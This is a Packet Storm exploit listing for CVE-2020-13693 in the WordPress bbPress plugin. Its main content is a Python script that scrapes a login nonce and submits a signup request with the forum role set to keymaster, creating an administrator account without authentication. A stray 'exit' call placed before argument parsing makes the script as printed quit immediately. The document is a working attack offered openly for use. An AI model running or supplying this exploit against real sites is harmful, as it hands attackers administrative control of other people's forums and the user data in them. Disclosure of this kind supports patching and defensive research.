what you don't know can hurt you

WordPress BBPress 2.5 Privilege Escalation

WordPress BBPress 2.5 Privilege Escalation
Posted May 30, 2020
Authored by Raphael Karger

WordPress BBPress plugin version 2.5 suffers from an unauthenticated privilege escalation vulnerability.

tags | exploit
advisories | CVE-2020-13693
MD5 | a6217fd54141ba4dd36c902308da0bac

WordPress BBPress 2.5 Privilege Escalation

Change Mirror Download
# Exploit Title: Wordpress Plugin BBPress 2.5 - Unauthenticated Privilege Escalation
# Date: 2020-05-29
# Exploit Author: Raphael Karger
# Software Link: https://codex.bbpress.org/releases/
# Version: BBPress < 2.5
# CVE: CVE-2020-13693

import argparse
import requests
import bs4
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

useragent = {"User-Agent" : "This is a real browser i swear"}

def grab_nonce_login_page(url):
try:
login_page_request = requests.get(url, verify=False, timeout=10, headers=useragent)
soup = bs4.BeautifulSoup(login_page_request.text, "lxml")
action = soup.find("form", class_="bbp-login-form")
wp_login_page = action.get("action")
wp_nonce = action.find("input", id="_wpnonce").get("value")
return (wp_nonce, wp_login_page)
except Exception as nonce_error:
print("[-] Nonce Error: '{}'".format(nonce_error))
return False

def exploit(url, username, password, email):
info = grab_nonce_login_page(url)
if info:
nonce = info[0]
login_page = info[1]
try:
return requests.post(login_page, data={
"user_login" : username,
"user_pass" : password,
"user_email" : email,
"user-submit" : "",
"user-cookie" : "1",
"_wpnonce" : nonce,
"bbp-forums-role" : "bbp_keymaster"
}, allow_redirects=False, verify=False, timeout=10, headers=useragent)
except Exception as e:
print("[-] Error Making Signup Post Request: '{}'".format(e))
return False

if __name__ == "__main__":
exit("asdasd")
parser = argparse.ArgumentParser()
parser.add_argument("-n", "--username", dest="username", help="Username of Newly Created Keymaster", default="raphaelrocks")
parser.add_argument("-p", "--password", dest="password", help="Password of Newly Created Keymaster", default="raphael123")
parser.add_argument("-e", "--email", dest="email", help="Email of Newly Created Keymaster", default="test@example.com")
parser.add_argument("-u", "--url", dest="url", help="URL of Page With Exposed Register Page.", required=True)
args = parser.parse_args()
site_exploit = exploit(args.url, args.username, args.password, args.email)
if site_exploit and site_exploit.status_code == 302:
exit("[+] Exploit Successful, Use Username: '{}' and Password: '{}'".format(args.username, args.password))
print("[-] Exploit Failed")
Login or Register to add favorites

File Archive:

July 2020

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Jul 1st
    15 Files
  • 2
    Jul 2nd
    19 Files
  • 3
    Jul 3rd
    11 Files
  • 4
    Jul 4th
    0 Files
  • 5
    Jul 5th
    0 Files
  • 6
    Jul 6th
    0 Files
  • 7
    Jul 7th
    0 Files
  • 8
    Jul 8th
    0 Files
  • 9
    Jul 9th
    0 Files
  • 10
    Jul 10th
    0 Files
  • 11
    Jul 11th
    0 Files
  • 12
    Jul 12th
    0 Files
  • 13
    Jul 13th
    0 Files
  • 14
    Jul 14th
    0 Files
  • 15
    Jul 15th
    0 Files
  • 16
    Jul 16th
    0 Files
  • 17
    Jul 17th
    0 Files
  • 18
    Jul 18th
    0 Files
  • 19
    Jul 19th
    0 Files
  • 20
    Jul 20th
    0 Files
  • 21
    Jul 21st
    0 Files
  • 22
    Jul 22nd
    0 Files
  • 23
    Jul 23rd
    0 Files
  • 24
    Jul 24th
    0 Files
  • 25
    Jul 25th
    0 Files
  • 26
    Jul 26th
    0 Files
  • 27
    Jul 27th
    0 Files
  • 28
    Jul 28th
    0 Files
  • 29
    Jul 29th
    0 Files
  • 30
    Jul 30th
    0 Files
  • 31
    Jul 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2020 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close